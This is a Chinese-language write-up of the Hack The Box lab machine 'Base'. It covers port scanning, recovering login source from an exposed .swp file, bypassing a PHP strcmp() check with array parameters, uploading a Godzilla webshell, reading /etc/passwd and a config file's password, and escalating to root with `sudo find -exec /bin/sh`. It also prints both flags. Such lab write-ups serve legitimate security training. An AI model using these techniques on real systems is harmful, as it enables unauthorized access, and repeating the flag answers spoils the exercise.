HTB:Base[WriteUP]

news/2024/10/18 17:14:50/

目录

连接至HTB服务器并启动靶机

1.Which two TCP ports are open on the remote host?

2.What is the relative path on the webserver for the login page?

3.How many files are present in the '/login' directory?

4.What is the file extension of a swap file?

5.Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?

6.In which directory are the uploaded files stored?

使用Yakit对登录页面进行抓包

7.Which user exists on the remote host with a home directory?

8.What is the password for the user present on the system?

9.What is the full path to the command that the user john can run as user root on the remote host?

尝试使用john账户以及密码对靶机进行SSH服务登录

10.What action can the find command use to execute commands?

Submit user flag

​编辑USER_FLAG:f54846c258f3b4612f78a819573d158e

Submit root flag

ROOT_FLAG:51709519ea18ab37dd6fc58096bea949


连接至HTB服务器并启动靶机

靶机IP:10.129.2.131

分配IP:10.10.16.12


1.Which two TCP ports are open on the remote host?

使用fscan对靶机进行端口扫描:

fscan -nopoc -nobr -no -h {TARGET_IP}

由fscan扫描结果可见,靶机开启了:22,80 共2个端口


2.What is the relative path on the webserver for the login page?

使用浏览器访问靶机URL,可在左上角看到Login按钮:

点击进入后,即可获得登录页面在服务器上的相对地址:/login/login.php


3.How many files are present in the '/login' directory?

直接使用浏览器访问/login目录:

可见该目录下有文件:config.php、login.php、login.php.swp,共3个文件


4.What is the file extension of a swap file?

在/login目录下,存在一个交换文件:

交换文件的后缀为:.swp


5.Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?

点击login.php.swp即可将该文件下载到本地,使用strings按格式查看该文件内容:

strings login.php.swp

b0VIM 8.0
root
base
/var/www/html/login/login.php
3210
#"!
                  <input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required>
                <div class="form-group">
              <div class="row" align="center">
            <form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe">
          <div class="col-lg-12 mt-5 mt-lg-0">
        <div class="row mt-2">
        </div>
          <p>Use the form below to log into your account.</p>
          <h2>Login</h2>
        <div class="section-title mt-5" >
      <div class="container" data-aos="fade-up">
    <section id="login" class="contact section-bg" style="padding: 160px 0">
    <!-- ======= Login Section ======= -->
  </header><!-- End Header -->
    </div>
      </nav><!-- .navbar -->
        <i class="bi bi-list mobile-nav-toggle"></i>
        </ul>
          <li><a class="nav-link scrollto action" href="/login.php">Login</a></li>
          <li><a class="nav-link scrollto" href="/#contact">Contact</a></li>
          <li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li>
          <li><a class="nav-link scrollto" href="/#team">Team</a></li>
          <li><a class="nav-link scrollto" href="/#services">Services</a></li>
          <li><a class="nav-link scrollto" href="/#about">About</a></li>
          <li><a class="nav-link scrollto" href="/#hero">Home</a></li>
        <ul>
      <nav id="navbar" class="navbar">
      <!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>-->
      <!-- Uncomment below if you prefer to use an image logo -->
      <h1 class="logo"><a href="index.html">BASE</a></h1>
    <div class="container d-flex align-items-center justify-content-between">
  <header id="header" class="fixed-top">
  <!-- ======= Header ======= -->
<body>
</head>
  <link href="../assets/css/style.css" rel="stylesheet">
  <!-- Template Main CSS File -->
  <link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet">
  <link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet">
  <link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet">
  <link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet">
  <link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet">
  <link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
  <link href="../assets/vendor/aos/aos.css" rel="stylesheet">
  <!-- Vendor CSS Files -->
  <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet">
  <!-- Google Fonts -->
  <link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon">
  <link href="../assets/img/favicon.png" rel="icon">
  <!-- Favicons -->
  <meta content="" name="keywords">
  <meta content="" name="description">
  <title>Welcome to Base</title>
  <meta content="width=device-width, initial-scale=1.0" name="viewport">
  <meta charset="utf-8">
<head>
<html lang="en">
<!DOCTYPE html>
    }
        print("<script>alert('Wrong Username or Password')</script>");
    } else {
        }
            print("<script>alert('Wrong Username or Password')</script>");
        } else {
            header("Location: /upload.php");
            $_SESSION['user_id'] = 1;
        if (strcmp($password, $_POST['password']) == 0) {
    if (strcmp($username, $_POST['username']) == 0) {
    require('config.php');
if (!empty($_POST['username']) && !empty($_POST['password'])) {
session_start();
<?php
</html>
</body>
  <script src="../assets/js/main.js"></script>

在代码的末尾部分,可见login.php使用的是strcmp()函数对字符串进行比较:


6.In which directory are the uploaded files stored?

通过代码审计,可以看到在账户、密码对比处:

使用的是简单的strcmp()函数进行对比,而且在结尾的判断等于用的是双等号而非三等号

那只需要在POST提交时将username、password这两个变量改成数组形式即可绕过验证

使用Yakit对登录页面进行抓包

修改请求包中的数据:

点击提交数据后,浏览器处就进入了文件上传页面:

对靶机进行目录扫描,查找文件上传后所在的目录:

gobuster dir --url http://{TARGET_IP}/ --wordlist big.txt

尝试访问/_uploaded目录,可以正常访问:

制作一个php文件上传,测试该路径是否为真实文件上传路径

<?php phpinfo(); ?>

将文件命名为test.php后,上传后点击刷新,文件已经出现在了目录中:

对test.php文件进行直接访问,发现文件可以被成功解析:


7.Which user exists on the remote host with a home directory?

使用哥斯拉生成一个Webshell:

将shell.php文件进行上传:

使用哥斯拉对shell.php进行连接:

进入哥斯拉的命令执行模块,查看/etc/passwd文件内容:

cat /etc/passwd

再查看目录权限:

ls -ld /home/john

可以看到john用户拥有主目录权限


8.What is the password for the user present on the system?

再查看config.php文件内容:

cat /var/www/html/login/config.php

账户:admin

密码:thisisagoodpassword


9.What is the full path to the command that the user john can run as user root on the remote host?

虽然上面config.php文件中显示的账户密码对应的是admin用户

但是考虑到主目录权限用户是john,所以这里的admin很可能和john是同一个人

尝试使用john账户以及密码对靶机进行SSH服务登录

ssh john@{TARGET_IP}

查看john用户可以使用sudo执行的命令:

sudo -l

通过结果可知,find命令允许我们sudo执行(root身份),完整路径:/usr/bin/find


10.What action can the find command use to execute commands?

推荐一个网站,这里可以找到二进制命令突破环境限制getshell的命令

网站地址:https://gtfobins.github.io

find命令可以使用exec来执行操作命令:

sudo find . -exec /bin/sh \; -quit

Submit user flag

通过john用户权限查找一下user.txt文件:

find / -name 'user.txt' 2>/dev/null

查看user.txt文件内容:

cat /home/john/user.txt

USER_FLAG:f54846c258f3b4612f78a819573d158e


Submit root flag

通过sudo执行find命令获取root权限:

sudo find . -exec /bin/sh \; -quit

查找一下root.txt文件位置:

find / -name 'root.txt' 2>/dev/null

查看root.txt文件内容:

cat /root/root.txt

ROOT_FLAG:51709519ea18ab37dd6fc58096bea949


http://www.ppmy.cn/news/1538912.html

相关文章

charAt,chartCodeAt,codePointAt,fromCodePoint,fromCharCode

生僻字的length算2,有些空格是特殊空格,比如\u3000 u3000不是全角空格&#xff0c;u3000是表意字空格&#xff08;Ideographic Space&#xff09;&#xff0c;宽度和一个表意字&#xff08;汉字&#xff09;相同。它应当被当做汉字来处理。比如&#xff0c;在一些排版中&#x…

SpringBoot高校学科竞赛平台:性能优化与实践

3系统分析 3.1可行性分析 通过对本高校学科竞赛平台实行的目的初步调查和分析&#xff0c;提出可行性方案并对其一一进行论证。我们在这里主要从技术可行性、经济可行性、操作可行性等方面进行分析。 3.1.1技术可行性 本高校学科竞赛平台采用SSM框架&#xff0c;JAVA作为开发语…

大模型百科:超详细解读与学习路线图

大模型的定义 大模型是指具有数千万甚至数亿参数的深度学习模型。近年来&#xff0c;随着计算机技术和大数据的快速发展&#xff0c;深度学习在各个领域取得了显著的成果&#xff0c;如自然语言处理&#xff0c;图片生成&#xff0c;工业数字化等。为了提高模型的性能&#xf…

RandLA-Net 基于 Tensorflow , 训练自定义数据集

搭建 RandLA-Net 训练环境, 生成自定义训练数据集, 训练自定义数据集. Code: https://github.com/QingyongHu/RandLA-Net 搭建训练环境 Clone the repositorygit clone --depth=1 https://github.com/QingyongHu

Mac 安装 Telnet 工具

方案一 通过 brew install telnet 时会要求安装 xcode 安装命令 brew install telnet报错信息&#xff1a; Warning: No remote origin in /usr/local/Homebrew/Library/Taps/homebrew/homebrew-services, skipping update! Running brew update --auto-update... > Auto-…

SpringMVC Controller返回值技巧:ModelAndView vs String的实战对比

前言 SpringMVC的相关小细节较多&#xff0c;这个博客主要针对控制层&#xff08;Controller&#xff09;中控制器方法的返回值为ModelAndView类型和返回值为String类型区别做出比较和案例实现 第一步&#xff1a;创建web项目&#xff0c;添加依赖&#xff0c;配置web.xml 添加…

ubuntu 开放 8080 端口快捷命令

文章目录 查看防火墙状态开放 80 端口开放 8080 端口开放 22端口开启防火墙重启防火墙**使用 xhell登录**&#xff1a; 查看防火墙状态 sudo ufw status [sudo] password for crf: Status: inactivesudo ufw enable Firewall is active and enabled on system startup sudo…

LINUX---shell变量(或bash变量)和环境变量的区别

Shell 变量是特定于当前 shell 会话的变量。 作用范围&#xff1a;仅在当前 shell 会话中有效。如果你打开了多个终端窗口&#xff0c;每个窗口都有自己的一组 shell 变量&#xff0c;彼此独立。 生命周期&#xff1a;随着 shell 会话的结束而消失&#xff0c;不会传递给其他 …